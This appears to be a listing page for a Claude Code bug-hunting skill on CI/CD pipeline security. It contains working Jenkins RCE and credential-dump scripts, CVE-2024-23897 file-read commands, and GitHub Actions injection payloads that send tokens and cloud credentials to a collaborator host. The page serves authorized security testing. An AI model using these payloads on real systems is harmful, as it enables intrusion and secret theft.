mcpField
H
hunt-cicd

hunt-cicd

github.com/elementalsouls安全5.3k247 次安装今天更新
代码仓库

关于 hunt-cicd

hunt-cicd 是面向安全测试人员的 CI/CD 流水线安全审计技能,覆盖 Jenkins、GitHub Actions、GitLab CI 和 Terraform 状态文件等场景。它强调先追踪不可信输入到执行点,并以可观察证据确认漏洞影响。

主要功能

  1. 01Jenkins 控制台与文件读取检查
  2. 02GitHub Actions 注入与 Runner 风险审计
  3. 03OIDC 信任策略与缓存投毒检查
  4. 04CI 日志、制品与密钥泄露排查
  5. 05GitLab CI Runner 与变量审计
  6. 06Terraform 状态文件敏感信息检查

适用场景

  1. 01审查 Jenkins 脚本控制台及凭据暴露
  2. 02排查 GitHub Actions 工作流中的不可信输入执行
  3. 03检查自托管 Runner 与云角色信任配置
  4. 04从 CI 日志、制品或状态文件追查密钥泄露

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-cicd

安装后在 Claude Code 中输入/hunt-cicd确认已加载。

详细介绍

HUNT-CICD — CI/CD 流水线安全

皇冠明珠目标

可访问 Jenkins /script 控制台 = 立即获得 RCE。GitHub Actions 中的 pull_request_target(或 workflow_run)工作流若检出 PR head ref,并在 shell run: 中引用不受信任的 ${{ github.event.* }},就会变成“Pwnrequest” → 无需任何审批,即可从 fork PR 窃取机密。

价值最高的发现:

  • Jenkins Script Console — Groovy 执行 → 完全 RCE → 转储凭据存储
  • Jenkins CLI 文件读取(CVE-2024-23897) — 未认证的 @/etc/passwd 参数展开 → 读取 secret.key/credentials.xml → 伪造管理员身份 → RCE
  • GitHub Actions pull_request_target 注入(Pwnrequest) — fork PR 可控制特权 shell 步骤中的 ${{ }} → 窃取 GITHUB_TOKEN(通常具有 contents:write 权限)和组织机密
  • 自托管 runner 投毒 — 公共仓库中的非临时 runner 执行 fork PR 的构建 → 攻击者代码在 runner 主机上运行 → 持久化 + 窃取机密
  • OIDC 信任策略滥用 — AWS IAM 角色信任策略中的 sub 声明通配符范围过宽 → 组织中的任何工作流都能担任特权云角色
  • Terraform 状态泄漏 — 公共 S3/GCS/Blob 中的 *.tfstate → 明文基础设施凭据、数据库密码、私钥
  • Runner 令牌 / 构件 / 日志泄漏 — 注册攻击者 runner,或窃取 ::add-mask:: 打码前输出的机密

“没有证据就不能声称”关卡(先读)

CI/CD 漏洞发现经常被过度报告,因为仪表板看起来似乎可利用。在声称发现任何问题前:

  1. 登录页面不等于 RCE。 可访问的 /script URL 若返回 Jenkins 登录页面或 403,就不是未认证脚本控制台。只有实际的 scriptText POST 返回你的命令输出,才算数。
  2. pull_request_target 工作流并非自动存在注入漏洞。 只有不受信任的数据流入执行接收点时,才可利用。确认数据流(参见误报部分)后,才能创建 PR。
  3. 盲注入需要带外验证。 如果你无法读取易受攻击步骤的输出,就必须通过 Burp Collaborator / interactsh 确认——使用每个接收点专属的子域名,由 runner 向其发起请求。工作流“运行成功”不能证明你的代码已执行。
  4. 只有解析 .tfstate 文件后,HTTP 200 才能算凭据暴露。 与基线进行比较(参见误报部分)——许多 tfstate 文件只包含资源 ID 和输出,不含机密。

阶段 1 — Jenkins:检测、脚本控制台、CVE-2024-23897

# Fingerprint — the X-Jenkins header leaks the exact version (drives CVE selection)
curl -sI "https://$TARGET/" | grep -iE "x-jenkins|x-hudson"
curl -sI "https://$TARGET/login" | grep -i "x-jenkins-session"
for p in /script /jenkins/script /ci/script /scriptText /jenkins/scriptText; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$p")
  echo "$p -> $code"   # 200 on /script == anon script console; 403/401 == auth required (NOT a finding alone)
done

未认证脚本控制台 → RCE(仅当 POST 返回输出时):

# This must return uid=...(jenkins). If it returns the Jenkins login HTML or a
# Crowd/SSO error page, the console is NOT anon-accessible — do not report it.
curl -s -X POST "https://$TARGET/scriptText" \
  --data-urlencode 'script=println "id".execute().text'

转储凭据存储(Groovy 会解密 UI 隐藏的机密):

import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
import org.jenkinsci.plugins.plaincredentials.StringCredentials
CredentialsProvider.lookupCredentials(StandardUsernamePasswordCredentials, jenkins.model.Jenkins.instance).each {
  println "${it.id} :: ${it.username} :: ${it.password}"
}
CredentialsProvider.lookupCredentials(StringCredentials, jenkins.model.Jenkins.instance).each {
  println "${it.id} :: ${it.secret}"
}

CVE-2024-23897 — 通过 Jenkins CLI 在认证前任意读取文件(args4j @ 文件展开;影响 ≤2.441 / LTS ≤2.426.2)。在允许匿名读取的情况下,可通过读取 secret.key + master.key 来解密 credentials.xml,或读取用户的 config.xml API 令牌,从而升级为 RCE:

# Download the matching jenkins-cli.jar from /jnlpJars/jenkins-cli.jar first.
java -jar jenkins-cli.jar -s "https://$TARGET/" -http connect-node "@/etc/passwd"
# The file content is echoed back in the error. Then target:
#   @/var/lib/jenkins/secret.key  @/var/lib/jenkins/secrets/master.key
#   @/var/lib/jenkins/credentials.xml

验证:响应必须包含真实文件内容(root:x:0:0)。若只返回通用的“no such agent”,且没有泄漏任何行,说明实例已打补丁或路径错误——不算漏洞发现。


阶段 2 — GitHub Actions:Pwnrequest、${{ }} 注入 Shell、Runner 投毒、OIDC

核心区别(90% 的虚假 PoC 都栽在这里)

有两类漏洞汇点——它们需要不同的载荷:

  • ${{ }} 模板展开到 shell run: 中——表达式会在 shell 运行之前替换进脚本,因此,不可信字段中的换行符、反引号或 $(...) 会变成字面 shell 代码。这是经典的注入。
  • 在 shell 中读取环境变量——GITHUB_TOKEN、secrets.X 和任何映射到 env: 的值都是 shell 变量,其值就是字符串。要将它们外传,请使用 echo/printenv,绝不要使用 cat $VAR(这会尝试打开一个以令牌为文件名的文件,并且什么也不会打印)。
# VULNERABLE workflow (untrusted title flows into the script text):
on: pull_request_target            # runs with write token + secrets, on fork PRs
jobs:
  build:
    steps:
      - uses: actions/checkout@v4
        with: { ref: ${{ github.event.pull_request.head.sha }} }   # checks out ATTACKER code
      - run: echo "Building PR ${{ github.event.pull_request.title }}"   # ← ${{ }} INJECTION

通过 ${{ }} 漏洞汇点发起攻击——将 PR 标题(或分支名称、正文、标签、提交消息——这些都由攻击者控制)设置为跳出 echo 并运行自己的命令。使用 printenv 外传令牌,而不是 cat:

PR title:  a"; printenv GITHUB_TOKEN | base64 | tr -d '\n' | { read T; curl "https://x.<COLLAB>/?t=$T"; }; echo "

对于多行 YAML run:,注入换行符更简洁:

PR title:  foo\n      curl https://x.<COLLAB>/?d=$(printenv | base64 -w0)

通过受污染的检出内容发起攻击(无需 ${{ }})——如果 pull_request_target 检出了 PR 头部分支,然后运行构建脚本/从检出的树中安装依赖(make、带有恶意 preinstall 的 npm ci、Makefile、PR 中的 .github/ action),那么运行器会直接执行攻击者代码。将代码放入任意构建钩子:

# in attacker's PR, e.g. package.json preinstall or Makefile:
curl -s "https://x.<COLLAB>/?env=$(printenv | base64 -w0)"
cat /proc/self/environ | tr '\0' '\n' | base64 -w0   # captures secrets injected as env

自托管运行器投毒——如果公开仓库中的 pull_request/pull_request_target 使用 runs-on: self-hosted(或自定义标签),那么 fork PR 的作业会在组织自己的主机上运行。非临时运行器会在作业之间保留工具/凭据。在作业内部读取运行器的身份和元数据进行确认:

- run: |
    whoami; hostname; id
    curl -s "https://x.<COLLAB>/?h=$(hostname)&u=$(whoami)"
    curl -s "https://x.<COLLAB>/imds=$(curl -s --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ | base64 -w0)"

滥用 OIDC 信任策略——通过 OIDC 使用 configure-aws-credentials 来代入 IAM 角色的工作流,如果其信任策略缺少 token.actions.githubusercontent.com:sub 条件,或使用宽松的通配符(repo:ORG/*:*),那么组织中的任何工作流(包括你可以合并的恶意工作流,或因触发器配置错误而运行的 fork)都可以代入该角色。检查该角色:

aws iam get-role --role-name <RoleName> --query 'Role.AssumeRolePolicyDocument'
# Red flag: StringLike on sub with "repo:ORG/*" or no sub condition at all (only aud).

然后证明这一点:在组织内部由你控制的工作流中代入该角色,并运行 aws sts get-caller-identity,使其返回特权角色 ARN。

侦察
# Enumerate org workflows that use the dangerous triggers
gh api graphql -f query='{organization(login:"ORG"){repositories(first:100){nodes{name}}}}' \
  | jq -r '.data.organization.repositories.nodes[].name' | while read r; do
  for wf in $(gh api "repos/ORG/$r/contents/.github/workflows" 2>/dev/null | jq -r '.[]?.name'); do
    body=$(gh api "repos/ORG/$r/contents/.github/workflows/$wf" 2>/dev/null | jq -r '.content' | base64 -d)
    echo "$body" | grep -Eq 'pull_request_target|workflow_run' && \
      echo "$body" | grep -Eq '\$\{\{ *github\.event|self-hosted|head\.ref|head\.sha' && \
      echo "CANDIDATE: ORG/$r/$wf"
  done
done

在创建任何 PR 之前,先使用静态分析器筛查候选项:gh extension install rhysd/actionlint,或运行 zizmor(pip install zizmor; zizmor .github/workflows/),它会专门标记模板注入和危险的检出模式。


Actions 缓存投毒

默认情况下,GitHub Actions 缓存不会在不同分支之间隔离信任:攻击者分支/fork PR 中的工作流可以写入缓存条目(键或 restore-key),随后默认分支上的特权工作流会恢复该条目,将攻击者文件(构建二进制文件、依赖项、脚本)注入可信构建中 -> 在特权上下文中执行代码。检查缓存 action 是否以受攻击者影响的值作为键,以及特权流水线是否使用不可信作业可以填充的前缀执行 restore-keys。

第 3 阶段 — 日志和制品中的机密

# Public-repo run logs frequently contain secrets printed BEFORE ::add-mask:: took effect,
# or echoed via debug. The masker only hides exact known values — derived/base64 forms slip through.
gh api "repos/ORG/REPO/actions/runs" | jq -r '.workflow_runs[:20][].id' | while read id; do
  gh api "repos/ORG/REPO/actions/runs/$id/logs" > /tmp/r.zip 2>/dev/null && \
  unzip -o -q /tmp/r.zip -d /tmp/runlogs && \
  grep -rniE 'AKIA[0-9A-Z]{16}|ghp_[A-Za-z0-9]{36}|-----BEGIN|eyJ[A-Za-z0-9_-]{10,}\.' /tmp/runlogs
done

# Artifacts — env dumps, .env, kubeconfig, built binaries with embedded secrets
gh api "repos/ORG/REPO/actions/artifacts" | jq -r '.artifacts[] | "\(.id) \(.name)"'

请注意,actions/upload-artifact 不会对机密进行脱敏——名为 env/debug 的制品是常见的直接泄漏途径。


第 4 阶段 — GitLab CI

# Runner registration token → register an attacker runner that picks up jobs (and their secrets).
# Found in config.toml (via LFI/disclosure), screenshots, /admin/runners, or leaked CI logs.
curl -s "https://$TARGET/api/v4/projects/PID/variables" -H "PRIVATE-TOKEN: $TOK"   # masked? protected?
curl -s "https://$TARGET/api/v4/runners?type=instance_type" -H "PRIVATE-TOKEN: $TOK"

# .gitlab-ci.yml review: unmasked variables, `CI_JOB_TOKEN` over-permission,
# `rules:` that run privileged jobs on MRs from forks (the GitLab analogue of pull_request_target).
curl -s "https://$TARGET/api/v4/projects/PID/repository/files/.gitlab-ci.yml/raw?ref=main"

仅有注册令牌不构成发现,除非该实例允许使用此令牌注册运行器,且该运行器会执行目标项目的流水线。通过注册一个由你拥有的临时运行器,并捕获作业的掩码变量来证明问题。


第 5 阶段 — Terraform 状态泄漏

# Probe common public-bucket/path patterns (parameterize $T and $ORG)
for U in \
  "https://$ORG.s3.amazonaws.com/terraform.tfstate" \
  "https://s3.amazonaws.com/$ORG-tfstate/terraform.tfstate" \
  "https://$ORG-infra.s3.amazonaws.com/env/prod/terraform.tfstate" \
  "https://storage.googleapis.com/$ORG-tfstate/default.tfstate" \
  "https://$ORG.blob.core.windows.net/tfstate/terraform.tfstate" ; do
  code=$(curl -s -o /tmp/tf.json -w "%{http_code}" "$U")
  [ "$code" = "200" ] && echo "[+] 200 $U" && \
    jq -r '.resources[].instances[].attributes
           | to_entries[] | select(.key|test("password|secret|private_key|token|access_key";"i"))
           | "\(.key) = \(.value)"' /tmp/tf.json 2>/dev/null
done
# Also hunt state in repos / backend configs
gh search code --owner ORG "terraform.tfstate" --limit 10
gh search code --owner ORG 'backend "s3"' --limit 10

**误报筛选:**仅列出 id、arn、tags 的 tfstate 不属于机密泄漏。运行上面的 jq,并确认至少存在一个有效凭据(真实的 password、private_key、RDS 主密码或尚未轮换的访问密钥)。然后通过只读方式使用该凭据来证明影响(aws sts get-caller-identity、返回横幅信息的数据库连接)——不要只声称“状态中有凭据”。


阶段 6 — 构建产物 / 镜像分析

docker pull ORG/IMAGE:latest
docker history --no-trunc ORG/IMAGE:latest | grep -iE 'ENV|ARG|secret|token|password|key'
# Layer-level scan catches secrets removed in a later layer but still present in history:
trufflehog docker --image ORG/IMAGE:latest --only-verified

--only-verified 会筛选出 trufflehog 能够实际验证的凭据——在报告之前使用它来排除过期或示例密钥带来的噪声。


有依据的参考资料(具名案例 / CVE)

  • Pwnrequest / pull_request_target 类 — GitHub Security Lab(Jaroslav Lobačevski),《确保 GitHub Actions 和工作流的安全:不可信输入》。关于来自分支 PR 的机密外泄和危险 checkout 模式的原始文章。
  • GitHub Actions 工作流命令注入 — CVE-2020-15228 — set-env/add-path 工作流命令允许从日志输出中注入环境变量/PATH;这促使相关命令弃用,并改用 $GITHUB_ENV。
  • Jenkins CLI 任意文件读取 — CVE-2024-23897 — args4j 的 @ 前缀文件展开(Jenkins ≤2.441 / LTS ≤2.426.2),读取 secret.key/credentials.xml → 管理员权限 → RCE。
  • Jenkins Stapler RCE — CVE-2018-1000861 — 动态路由可访问 groovy.lang.GroovyShell;这是旧版 Jenkins 上未经身份验证的脚本执行链中的经典漏洞。
  • PortSwigger / Liam Galvin 等人 — 关于 GitHub Actions 注入接收点(标题/分支/正文/标签)以及将 ${{ }} 模板替换进 run 的攻击向量的研究;这是上文引用的 actionlint/zizmor 检测规则的依据。

(仅列出我能够准确注明来源的 CVE 和案例。提出相关问题前,请确认运行版本是否处于该 CVE 的受影响范围内。)


攻击链表

CI/CD 发现攻击链影响
Jenkins 匿名脚本控制台转储凭据存储 → 云/DB 凭据 → 横向移动严重
Jenkins CLI 文件读取(CVE-2024-23897)读取 secret.key+credentials.xml → 伪造管理员身份 → RCE严重
Actions ${{ }} 注入(Pwnrequest)printenv GITHUB_TOKEN/机密信息 → 推送到受保护分支严重
自托管 Runner 投毒在 Runner 主机上执行代码 → IMDS 凭据 → 持久化严重
OIDC sub 通配符从任意组织工作流中 AssumeRole 获取特权云角色严重
含有效凭据的 Terraform 状态使用基础设施/DB/API 凭据严重
GitLab Runner 注册注册 Runner → 获取流水线机密高/严重
镜像/日志/构建产物中的机密直接使用凭据高

验证规范(每项发现都应在报告前完成)

  • Jenkins 控制台: scriptText POST 返回你的 id 输出(uid=…(jenkins))。如果返回登录/SSO/Crowd 页面,则说明并非匿名访问。截取请求和响应的屏幕截图。
  • CVE-2024-23897: 响应包含真实的 /etc/passwd 内容;确认版本处于受影响范围内。已修补的实例会返回错误,且不泄露任何行。
  • Actions 注入: 首先确认数据流入接收点(误报部分)。盲测步骤 → 必须收到来自 Runner 源 IP 的 Collaborator 回调。通过 printenv//proc/self/environ 将令牌外泄到你的端点并解码——切勿 cat $GITHUB_TOKEN。
  • OIDC 滥用: 通过你控制的工作流运行 aws sts get-caller-identity,确认其返回特权角色 ARN——仅仅信任策略看起来较宽松并不足以证明。
  • Terraform 状态: jq 提取出至少 1 个有效机密,然后通过只读身份验证予以证明。状态中只有 ID/ARN = 不构成发现。
  • Runner 令牌 / 镜像 / 日志: 证明机密能够通过身份验证(trufflehog --only-verified,或实际 API 调用)——仅仅获得一个字符串并不代表有影响。
需要撤回的常见误报
  • /script 返回登录页面(需要身份验证),却被报告为“未授权 RCE”。
  • 存在 pull_request_target,但不受信任的输入从未到达危险操作位置(例如,仅在 if: 中用于检查 github.actor,或工作流使用的是 pull_request 而非 _target)。
  • ${{ }} 引用已包裹在 env: 块中,并在 shell 中加引号(推荐的安全模式)——这不会造成注入。
  • .tfstate 返回 200,但仅包含资源元数据。
  • GitLab 变量已屏蔽且受 protected 保护,只会暴露给攻击者无法推送更改的受保护分支。
  • Trufflehog 标记为“未验证”的命中项,实际是示例密钥或已过期密钥。

严重性: Jenkins 控制台 / CVE-2024-23897 / Actions 密钥外泄 / 运行器投毒 / OIDC 角色承担 / Terraform 实时凭据 = 严重。镜像/日志/制品中的密钥 = 根据凭据权限范围,严重或高危。

评论

支持 Markdown